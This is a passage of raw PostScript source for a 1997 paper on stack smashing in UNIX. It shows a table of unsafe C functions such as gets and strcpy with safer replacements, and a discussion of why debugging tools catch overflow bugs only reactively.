(o)S -0.300 0 (f)A 0.200 0 (t)A -0.400 0 (e)A 7.000 0 32 (n )W -0.400 0 (a)A -0.300 0 (r)A 7.400 0 32 -0.400 0 (e c)D -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (a)A 6.800 0 32 0.200 0 (l i)D 7.000 0 32 (n )W 0.200 0 (m)A (o)S 0.100 0 (s)A 6.800 0 32 0.200 0 (t )D (bu)S -0.300 0 (ff)A -0.400 0 (e)A 8.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S 8.200 0 32 -0.200 0 (w )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 0.100 0 (s)A 8.000 0 32 (. )W 8.200 0 32 -0.200 0 (A )D 0.200 0 (li)A 0.100 0 (s)A 7.800 0 32 0.200 0 (t )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2657 M (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (l)A 9.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 9.000 0 32 (on )W -0.400 0 (ca)A 0.200 0 (ll)A 8.900 0 32 0.100 0 (s )D 0.200 0 (i)A 9.000 0 32 (n )W 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e )D 8.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 10.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 9.000 0 32 (, )W -0.400 0 (a)A 9.000 0 32 (nd )W 0.100 0 (s)A (u)S 0.200 0 (it)A -0.400 0 (a)A (b)S 0.200 0 (l)A 10.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A (p)S 0.200 0 (l)A -0.400 0 (ace)A 0.200 0 (m)A -0.400 0 (e)A (n)S 9.800 0 32 0.200 0 (t )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2834 M -0.052 0 (\(if available\) is as follows:)A ; LH savelevel1 restore pagesave restore (%%[ Page: 21 ]%%) = %%PageTrailer %%Page: 22 22 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (22)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; 822 550 N M 3409 3209 rr : 0.569 0.569 0.569 sco O ; 776 504 N M 3400 3200 rr : 1.000 1.000 1.000 sco O ; 8 Lw 0 Lc 0 Lj solid 0 0 0 sco K : 1027 530 3856 189 rc 0 0 0 sco (F2_168) cvn F2 168 xF F2_168 Ji 0 167 8 sSU 1209 530 M -0.944 0 (f)A -1.000 0 (u)A (n)S -0.592 0 (c)A -0.704 0 (ti)A (o)S -1.000 0 (n)A -555 sU ; : 2227 530 2656 189 rc 0 0 0 sco F2_168 Ji 0 167 8 sSU 2409 530 M -1.352 0 (s)A (u)S 0.296 0 (i)A -1.704 0 (t)A -0.592 0 (a)A (b)S 0.296 0 (l)A 1.592 0 32 -1.592 0 (e )D -0.944 0 (r)A -0.592 0 (e)A (p)S -1.704 0 (l)A -0.592 0 (ace)A -0.704 0 (m)A -0.592 0 (e)A (n)S -0.704 0 (t)A -1374 sU ; : 1317 900 3566 107 rc 0 0 0 sco %%IncludeFont: Courier (F5) cvn 0.800 (Courier) cvn /Type1 T (Courier) cvn mF (F5_100) cvn F5 100 xF F5_100 Ji 1382 900 M (get)S -1.000 0 (s)A 1.000 0 (\()A (\))S ; : 2517 900 2366 107 rc 0 0 0 sco F5_100 Ji 2582 900 M (fge)S -1.000 0 (t)A 1.000 0 (s)A (\(\))S ; : 1317 1099 3566 107 rc 0 0 0 sco F5_100 Ji 1382 1099 M (spr)S -1.000 0 (i)A 1.000 0 (n)A (tf\()S -1.000 0 (\))A ; : 1317 1278 3566 107 rc 0 0 0 sco F5_100 Ji 1382 1278 M (str)S -1.000 0 (c)A 1.000 0 (a)A (t\(\))S ; : 2517 1278 2366 107 rc 0 0 0 sco F5_100 Ji 2582 1278 M (str)S -1.000 0 (n)A 1.000 0 (c)A (at\()S -1.000 0 (\))A ; : 1317 1457 3566 107 rc 0 0 0 sco F5_100 Ji 1382 1457 M (str)S -1.000 0 (c)A 1.000 0 (p)A (y\(\))S ; : 2517 1457 2366 107 rc 0 0 0 sco F5_100 Ji 2582 1457 M (str)S -1.000 0 (n)A 1.000 0 (c)A (py\()S -1.000 0 (\))A ; : 1317 1636 3566 107 rc 0 0 0 sco F5_100 Ji 1382 1636 M (str)S -1.000 0 (e)A 1.000 0 (a)A (dd\()S -1.000 0 (\))A ; : 1317 1815 3566 107 rc 0 0 0 sco F5_100 Ji 1382 1815 M (str)S -1.000 0 (e)A 1.000 0 (c)A (py\()S -1.000 0 (\))A ; : 1317 1995 3566 107 rc 0 0 0 sco F5_100 Ji 1382 1995 M (str)S -1.000 0 (t)A 1.000 0 (r)A (ns\()S -1.000 0 (\))A ; : 1317 2174 3566 107 rc 0 0 0 sco F5_100 Ji 1382 2174 M (ind)S -1.000 0 (e)A 1.000 0 (x)A (\(\))S ; : 1317 2353 3566 107 rc 0 0 0 sco F5_100 Ji 1382 2353 M (fsc)S -1.000 0 (a)A 1.000 0 (n)A (f\(\))S ; : 1317 2532 3566 107 rc 0 0 0 sco F5_100 Ji 1382 2532 M (sca)S -1.000 0 (n)A 1.000 0 (f)A (\(\))S ; : 1317 2711 3566 107 rc 0 0 0 sco F5_100 Ji 1382 2711 M (ssc)S -1.000 0 (a)A 1.000 0 (n)A (f\(\))S ; : 1317 2890 3566 107 rc 0 0 0 sco F5_100 Ji 1382 2890 M (vsp)S -1.000 0 (r)A 1.000 0 (i)A (ntf)S -1.000 0 (\()A 1.000 0 (\))A ; : 1317 3069 3566 107 rc 0 0 0 sco F5_100 Ji 1382 3069 M (rea)S -1.000 0 (l)A 1.000 0 (p)A (ath)S -1.000 0 (\()A 1.000 0 (\))A ; : 1317 3249 3566 107 rc 0 0 0 sco F5_100 Ji 1382 3249 M (get)S -1.000 0 (o)A 1.000 0 (p)A (t\(\))S ; : 1317 3428 3566 107 rc 0 0 0 sco F5_100 Ji 1382 3428 M (get)S -1.000 0 (p)A 1.000 0 (a)A (ss\()S -1.000 0 (\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1851 3823 M -0.013 0 (Figure 11.1.a vulnerable functions in C)A ; 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: 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 10.000 0 32 (on op)W -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 10.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 10.800 0 32 0.200 0 (t )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 11.000 0 32 (d )W 10.700 0 32 0.300 0 (C )D -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r)A 10.900 0 32 0.100 0 (s )D 11.000 0 32 (do no)W 10.800 0 32 0.200 0 (t l)D 11.000 0 32 (ook )W -0.300 0 (f)A (o)S -0.300 0 (r)A 11.000 0 32 (. )W -0.200 0 (H)A (o)S -0.200 0 (w)A -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 11.000 0 32 (, p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 10.900 0 32 0.100 0 (s s)D (u)S -0.400 0 (c)A 11.000 0 32 (h )W -0.400 0 (a)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1566 M 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 6.400 0 32 -0.400 0 (e ca)D 6.000 0 32 (n on)W 0.200 0 (l)A 9.000 0 32 -3.000 0 (y )D -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (c)A 6.000 0 32 (h ov)W -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S 7.200 0 32 -0.200 0 (w )D (bu)S -1.000 0 (g)A 6.900 0 32 0.100 0 (s )D -0.300 0 (r)A -0.400 0 (eac)A 0.200 0 (ti)A (v)S -0.400 0 (e)A 0.200 0 (l)A -3.000 0 (y)A 7.000 0 32 (, no)W 6.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 0.200 0 (ti)A (v)S -0.400 0 (e)A 0.200 0 (l)A -3.000 0 (y)A 6.800 0 32 0.200 0 (; )D 7.200 0 32 -0.200 0 (A )D 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 6.800 0 32 0.200 0 (t )D -0.400 0 (ca)A 0.100 0 (s)A 7.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (u)S 0.100 0 (s)A 6.800 0 32 0.200 0 (t )D -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (i)A 0.100 0 (s)A 6.800 0 32 0.200 0 (t )D -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A (h)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1743 M (p)S -0.300 0 (r)A (ovok)S -0.400 0 (e)A 17.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 19.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 19.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 20.000 0 32 -1.000 0 (g )D (ho)S 0.200 0 (l)A -0.400 0 (e)A 19.000 0 32 (. )W -0.600 0 (F)A (u)S -0.300 0 (r)A 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A 19.000 0 32 (, )W 0.200 0 (m)A -0.400 0 (a)A (n)S 22.000 0 32 -3.000 0 (y )D (o)S 19.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 19.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 18.900 0 32 0.100 0 (s )D -0.400 0 (ca)A 19.000 0 32 (n o)W -0.300 0 (ff)A -0.400 0 (e)A 19.300 0 32 -0.300 0 (r )D 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1920 M 0.200 0 (i)A (n)S -0.300 0 (f)A (o)S -0.300 0 (r)A 0.200 0 (m)A -0.400 0 (a)A 0.200 0 (ti)A 6.000 0 32 (on )W 0.200 0 (t)A (h)S -0.400 0 (a)A 6.000 0 32 (n )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 6.000 0 32 (d )W -0.200 0 (UN)A -2.300 0 (I)A 6.200 0 32 -0.200 0 (X )D -0.300 0 (f)A -0.400 0 (ac)A 0.200 0 (iliti)A -0.400 0 (e)A 5.900 0 32 0.100 0 (s )D -0.200 0 (w)A (h)S 0.200 0 (il)A 6.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (nv)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (ti)A -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 7.000 0 32 -1.000 0 (g )D 6.400 0 32 -0.400 0 (a )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A -0.300 0 (\222)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A (bno)S -0.300 0 (r)A 0.200 0 (m)A -0.400 0 (a)A 5.800 0 32 0.200 0 (l m)D -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2097 M -0.055 0 (operations.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2274 M -0.200 0 (A)A 20.900 0 32 0.100 0 (s )D 20.700 0 32 0.300 0 (C )D (d)S -0.400 0 (e)A (bu)S -1.000 0 (gg)A 0.200 0 (i)A (n)S 22.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (oo)S 0.200 0 (l)A 0.100 0 (s)A 21.000 0 32 (, )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 21.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 20.900 0 32 0.100 0 (s )D 0.200 0 (m)A -0.400 0 (a)A 25.000 0 32 -3.000 0 (y )D (o)S -0.300 0 (ff)A -0.400 0 (e)A 22.300 0 32 -0.300 0 (r )D 0.200 0 (m)A (o)S -0.300 0 (r)A 22.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 22.000 0 32 (n )W 0.100 0 (s)A 0.200 0 (im)A (p)S 0.200 0 (l)A 22.400 0 32 -0.400 0 (e )D -0.300 0 (\221)A 0.100 0 (s)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A (on)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2451 M (v)S 0.200 0 (i)A (o)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 5.300 0 32 -0.300 0 (\222 )D 0.200 0 (m)A -0.400 0 (e)A 0.100 0 (ss)A -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 0.100 0 (s)A 5.000 0 32 (. )W -0.200 0 (H)A (o)S -0.200 0 (w)A -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 6.000 0 32 (, )W 5.800 0 32 0.200 0 (it i)D 5.900 0 32 0.100 0 (s )D 0.200 0 (im)A (po)S -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (a)A (n)S 5.800 0 32 0.200 0 (t t)D 6.000 0 32 (o )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (b)S -0.400 0 (e)A 6.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S -0.400 0 (a)A 5.800 0 32 0.200 0 (t t)D (h)S -0.400 0 (e)A 0.100 0 (s)A 6.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 6.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A (n)S -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2628 M 0.200 0 (t)A 25.000 0 32 (o )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A (ov)S 25.400 0 32 -0.400 0 (e )D (bu)S -1.000 0 (g)A 24.900 0 32 0.100 0 (s )D -0.400 0 (a)A 25.000 0 32 (nd do no)W 24.800 0 32 0.200 0 (t )D 0.100 0 (s)A (p)S -0.400 0 (ec)A 0.200 0 (i)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A 25.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 25.000 0 32 (n )W 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A -3.000 0 (y)A 25.000 0 32 (. )W -0.600 0 (F)A (u)S -0.300 0 (r)A 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A 25.000 0 32 (, )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 25.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 24.900 0 32 0.100 0 (s )D 26.000 0 32 (do no)W 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2805 M -0.400 0 (c)A (on)S 0.100 0 (s)A 0.200 0 (i)A (d)S -0.400 0 (e)A 14.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e c)D (u)S -0.300 0 (rr)A -0.400 0 (e)A (n)S 13.800 0 32 0.200 0 (t )D (o)S 14.300 0 32 -0.300 0 (r f)D (u)S 0.200 0 (t)A (u)S -0.300 0 (r)A 14.400 0 32 -0.400 0 (e )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 13.800 0 32 0.200 0 (m )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A (on)S 13.900 0 32 0.100 0 (s )D (o)S 14.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 14.000 0 32 (. )W -0.100 0 (T)A (h)S 14.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (a)A 0.200 0 (m)A 14.400 0 32 -0.400 0 (e )D (b)S -0.400 0 (a)A 0.200 0 (tt)A -0.400 0 (e)A -0.300 0 (r)A 18.000 0 32 -3.000 0 (y )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2982 M 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A 13.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 14.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (ub)S 0.200 0 (mitt)A -0.400 0 (e)A 14.000 0 32 (d )W 0.200 0 (t)A 14.000 0 32 (o )W 14.400 0 32 -0.400 0 (a )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 13.800 0 32 0.200 0 (m )D -0.200 0 (w)A (h)S -0.400 0 (e)A 0.200 0 (t)A (h)S -0.400 0 (e)A 14.300 0 32 -0.300 0 (r )D 13.800 0 32 0.200 0 (it )D -0.300 0 (r)A (un)S 13.900 0 32 0.100 0 (s )D -0.400 0 (a)A 13.900 0 32 0.100 0 (s )D 15.400 0 32 -0.400 0 (a )D (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 15.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A 15.300 0 32 -0.300 0 (r )D (o)S 15.300 0 32 -0.300 0 (r )D (no)S 0.200 0 (t)A 15.000 0 32 (. )W -2.300 0 (I)A 15.000 0 32 (n )W 0.100 0 (s)A (u)S 0.200 0 (mm)A -0.400 0 (a)A -0.300 0 (r)A -3.000 0 (y)A (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3159 M -0.400 0 (a)A (u)S 0.200 0 (t)A (o)S 0.200 0 (m)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 24.000 0 32 (d d)W -0.400 0 (e)A (bu)S -1.000 0 (gg)A 0.200 0 (i)A (n)S 25.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (oo)S 0.200 0 (l)A 24.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 25.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (f)A (u)S 24.800 0 32 0.200 0 (l i)D 25.000 0 32 (n )W -0.400 0 (c)A (o)S -0.300 0 (rr)A -0.400 0 (ec)A 0.200 0 (ti)A (n)S 26.000 0 32 -1.000 0 (g )D (kno)S -0.200 0 (w)A 25.000 0 32 (n vu)W 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A 25.000 0 32 (, ho)W -0.200 0 (w)A -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 25.000 0 32 (, )W 0.200 0 (t)A (h)S -0.400 0 (e)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3336 M -0.094 0 (cannot detect future vulnerabilities and are limited as security tools.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3513 M 0.400 0 (S)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 7.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 4.000 0 32 (nd )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 7.000 0 32 -3.000 0 (y )D -0.400 0 (a)A -0.300 0 (r)A 4.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -3.000 0 (y)A (non)S -3.000 0 (y)A 0.200 0 (m)A (ou)S 0.100 0 (s)A 4.000 0 32 (. )W 0.400 0 (P)A -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 3.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 3.800 0 32 0.200 0 (t )D (u)S 0.100 0 (s)A 4.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 5.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 4.900 0 32 0.100 0 (s )D -0.400 0 (a)A 5.000 0 32 (nd )W -0.400 0 (acce)A (p)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3690 M 0.200 0 (l)A -0.400 0 (e)A 10.900 0 32 0.100 0 (ss )D (b)S -0.400 0 (a)A 11.000 0 32 (d )W 0.200 0 (i)A (npu)S 10.800 0 32 0.200 0 (t )D (d)S -0.400 0 (a)A 0.200 0 (t)A 11.400 0 32 -0.400 0 (a a)D -0.300 0 (r)A 11.400 0 32 -0.400 0 (e )D (no)S 11.800 0 32 0.200 0 (t )D (on)S 0.200 0 (l)A 15.000 0 32 -3.000 0 (y )D 0.200 0 (m)A (o)S -0.300 0 (r)A 12.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A -0.400 0 (e)A 12.000 0 32 (, bu)W 11.800 0 32 0.200 0 (t )D -0.300 0 (r)A 12.000 0 32 (un )W 0.200 0 (m)A (o)S -0.300 0 (r)A 12.400 0 32 -0.400 0 (e e)D -0.300 0 (ff)A 0.200 0 (i)A -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (e)A (n)S 0.200 0 (tl)A 15.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 12.000 0 32 (nd bu)W 0.200 0 (il)A 12.000 0 32 (d )W -0.300 0 (f)A -0.400 0 (a)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 12.000 0 32 (. )W -0.700 0 (B)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3867 M -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (ti)A (n)S 5.000 0 32 -1.000 0 (g )D -0.400 0 (c)A (od)S 4.400 0 32 -0.400 0 (e a)D 4.000 0 32 (nd )W -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (iti)A (n)S 5.000 0 32 -1.000 0 (g )D (n)S -0.400 0 (e)A 4.200 0 32 -0.200 0 (w )D -0.400 0 (c)A (od)S 4.400 0 32 -0.400 0 (e )D -0.200 0 (w)A 0.200 0 (it)A 4.000 0 32 (h )W 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 7.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 5.000 0 32 (n )W 0.200 0 (mi)A 5.000 0 32 (nd, bo)W 0.200 0 (t)A 5.000 0 32 (h p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 5.000 0 32 (d )W -0.400 0 (c)A (od)S 5.400 0 32 -0.400 0 (e a)D (nd)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4044 M (non)S -0.300 0 (-)A (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 24.000 0 32 (d )W -0.400 0 (c)A (od)S 24.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (a)A -0.300 0 (r)A 24.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 24.400 0 32 -0.400 0 (e )D (b)S -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (f)A 0.200 0 (it)A 0.100 0 (s)A 24.000 0 32 (. )W 0.300 0 (R)A -0.400 0 (eca)A 0.200 0 (lli)A (n)S 26.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 25.400 0 32 -0.400 0 (e ea)D 0.100 0 (s)A 25.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 25.000 0 32 (n )W -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 25.000 0 32 (h p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 25.000 0 32 (d p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4221 M -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 17.000 0 32 (on )W -0.400 0 (ca)A 17.000 0 32 (n b)W 17.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A (n)S 0.100 0 (s)A -0.300 0 (f)A -0.400 0 (e)A -0.300 0 (rr)A -0.400 0 (e)A 17.000 0 32 (d, )W 16.800 0 32 0.200 0 (it i)D 16.900 0 32 0.100 0 (s )D 0.200 0 (im)A (po)S -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (a)A (n)S 16.800 0 32 0.200 0 (t t)D 17.000 0 32 (o no)W 0.200 0 (t)A 18.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 17.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 18.000 0 32 (d )W -0.400 0 (c)A (od)S 18.400 0 32 -0.400 0 (e )D (o)S -0.300 0 (f)A 0.200 0 (t)A -0.400 0 (e)A 18.000 0 32 (n )W 0.200 0 (t)A -0.300 0 (r)A (u)S 0.100 0 (s)A 0.200 0 (t)A 17.900 0 32 0.100 0 (s )D (non)S -0.300 0 (-)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4398 M (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 23.000 0 32 (d )W -0.400 0 (c)A (od)S -0.400 0 (e)A 23.000 0 32 (. )W 24.000 0 32 ( )W 0.400 0 (P)A -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 24.000 0 32 (d p)W -0.300 0 (r)A (o)S -0.400 0 (ce)A 0.100 0 (ss)A -0.400 0 (e)A 23.900 0 32 